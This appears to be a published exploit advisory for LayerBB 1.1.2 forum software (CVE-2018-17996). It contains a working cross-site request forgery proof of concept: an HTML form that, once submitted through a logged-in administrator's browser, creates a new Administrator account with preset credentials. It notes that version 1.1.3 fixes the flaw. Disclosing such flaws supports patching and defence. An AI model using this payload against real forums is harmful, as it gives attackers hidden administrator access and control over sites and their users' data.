LayerBB 1.1.2 – Cross-Site Request Forgery (Add Admin)
# Exploit Title: LayerBB 1.1.2 - Cross-Site Request Forgery # Date: 10/4/2018 # Author: 0xB9 # Twitter: @0xB9Sec # Contact: 0xB9[at]pm.me # Software Link: https://forum.layerbb.com # Version: 1.1.2 # Tested on: Ubuntu 18.04 # CVE: CVE-2018-17996 1. Description: LayerBB is a free open-source forum software, the CSRF allows creating a admin user. 2. Proof of Concept: <!-- Create Admin User --> <html> <body> <form action="http://localhost/[path]/admin/new_user.php" method="POST"> <label for="username">Username</label> <input name="username" id="username" value="test" type="text"> <label for="password">Password</label> <input name="password" id="password" value="password123" type="password"> <label for="email">Email Address</label> <input name="email" id="email" value="test@localhost.co" type="text"> <label for="usergroup">Usergroup</label><br> <select name="usergroup" id="usergroup" style="width:100%;"><option value="4">Administrator</option></select><br><br> <input name="create" value="Create User" type="submit"> </form> </body> </html> <!-- Create Admin User End --> 3. Solution: Update to 1.1.3 |